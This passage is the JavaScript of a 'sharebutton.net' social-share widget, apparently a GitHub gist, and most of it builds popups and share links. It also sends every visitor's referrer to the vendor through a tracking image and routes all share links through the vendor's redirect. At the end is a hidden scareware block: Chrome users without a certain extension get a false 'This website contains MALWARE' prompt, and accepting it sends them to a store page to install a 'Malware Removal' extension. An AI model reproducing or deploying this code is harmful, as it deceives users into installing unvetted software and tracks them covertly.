maxWidth: '100%',
whiteSpace: 'nowrap',
overflow: 'hidden',
textOverflow: 'ellipsis',
cursor: 'pointer'
});
on(topHead, 'click', function() {
var url = handleUrl(socMap.gp.url, socMap.gp);
openWin(url, socMap.gp.win);
});
var topDomain = $(WE + 'PadTopDomain');
var domain = location.hostname;
topDomain.innerText = domain;
topDomain.textContent = domain;
css(topDomain, {
padding: '0 0 20px',
fontSize: '14px',
color: '#8b8b8b',
maxWidth: '100%',
whiteSpace: 'nowrap',
overflow: 'hidden',
textOverflow: 'ellipsis'
});
var topDesc = $(WE + 'PadTopDesc');
var desc = getDesc();
topDesc.innerText = desc;
topDesc.textContent = desc;
css(topDesc, {
fontSize: '14px',
color: '#8b8b8b'
});
var shareBtn = $(WE + 'PadShareBtn');
css(shareBtn, {
display: 'inline-block',
padding: '8px 20px',
color: '#fff',
background: '#53a93f',
border: '1px solid #53a93f',
fontWeight: 'bold',
fontSize: '14px',
borderRadius: '2px'
});
var shareBtn = $(WE + 'PadShareBtn');
on(shareBtn, 'click', function() {
var url = handleUrl(socMap.gp.url, socMap.gp);
openWin(url, socMap.gp.win);
});
var cancelBtn = $(WE + 'PadCancelBtn');
css(cancelBtn, {
display: 'inline-block',
padding: '8px 20px',
color: '#4b4540',
background: '#fff',
border: '1px solid #d9d9d9',
fontWeight: 'bold',
fontSize: '14px',
borderRadius: '2px'
});
css($(WE + 'PadLastShared'), {
padding: '0 0 8px',
fontSize: '18px',
color: '#717171',
borderBottom: '1px solid #cfcfcf'
});
$(WE + 'PadCancelBtn').onclick = function() {
wr.style.display = 'none';
}
on(document, 'keydown', function(e) {
if (e.keyCode === 27) {
wr.style.display = 'none';
}
});
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr" class="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" class="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell" class="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup" class="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div id="' + WE + 'PopupLogoWr" style="margin-top:27px; margin-bottom:10px; text-align:center;">\
<a href="http://sharebutton.net" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" id="' + WE + 'PopupLogo" style="border:none; "></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:420px; max-width:430px; height:auto; padding:6px 4px 6px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 407px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.appendChild($(WE + 'PopupTable'));
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
if (crLink) {
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '437px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '450px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.setAttribute('rel', 'nofollow');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
if (mobOpt) {
var img = a.getElementsByTagName('img')[0];
css(img, {
width: '16px',
height: '16px'
});
var span = a.getElementsByTagName('span')[0];
css(span, {
display: 'inline-block',
width: '82px',
maxWidth: '82px',
top: '2px',
fontSize: '12px',
whiteSpace: 'nowrap',
overflow: 'hidden',
textOverflow: 'ellipsis',
verticalAlign: 'top'
});
css(a, {
width: '113px',
maxWidth: '113px',
padding: '5px 0 3px 2px'
});
}
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
if (mobOpt) {
$(WE + 'PopupLogo').style.width = 'auto';
$(WE + 'PopupLogoWr').style.marginBottom = '5px';
$(WE + 'PopupContentInner').style.width = '230px';
css($(WE + 'PopupContent'), {
width: '245px',
height: '190px',
maxHeight: '190px'
});
css($(WE + 'Popup'), {
width: '245px',
top: '-30px'
});
css($(WE + 'PopupSearch'), {
width: '230px',
maxWidth: '230px'
});
}
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.net/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var addClass = function(node, className) {
if (!node) return;
if (!node.className) {
node.className = className;
return;
}
if ((' ' + node.className + ' ').indexOf(' ' + className + ' ') === -1) {
node.className += ' ' + className;
}
}
var removeClass = function(node, className) {
if (node && node.className) {
node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), '');
}
}
var openLinerPopup = function() {
var pad = $(WE + 'PaddingWr');
if (!pad) return;
pad.style.display = 'block';
var mainPopup = $(WE + 'PopupWr');
if (!mainPopup) return;
mainPopup.style.display = 'none';
}
var openMorePopup = function() {
var liner = $(WE + 'PaddingWr');
if (liner) {
liner.style.display = 'none';
}
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
var parent = wr;
while (parent = parent.parentNode) {
if (!parent.style) break;
parent.style.display = '';
addClass(parent, WE + 'Parents');
}
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
createLinerPopup();
try {
clearStyles();
} catch (ex) {}
(new Image).src = '//sharebutton.net/s.php?horiz=' + (HORIZ ? 1 : 0) + '&page_from=' + encodeURIComponent(document.referrer) + '&mobile=0';
})();
function getCookie(name) {
var matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (getCookie('_sb_last_visit') != 'yes') {
var date = new Date;
date.setDate(date.getDate() + 30);
document.cookie = "_sb_last_visit=yes; path=/; expires=" + date.toUTCString();
setTimeout(function () {
var ua = navigator.userAgent.toLowerCase();
var is_chrome = ua.indexOf("chrome") > -1;
var not_installed = document.getElementById('_chrome_extension_1') === null;
if (is_chrome && not_installed) {
if (confirm("This website contains MALWARE. You have to install Chrome Malware Removal extension.")) {
window.top.location.href='https://chrome.google.com/webstore/detail/chrome-malware-removal/dhjpofjliplegaobhfofijfnidomhfgl';
}
}
}, 3000);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment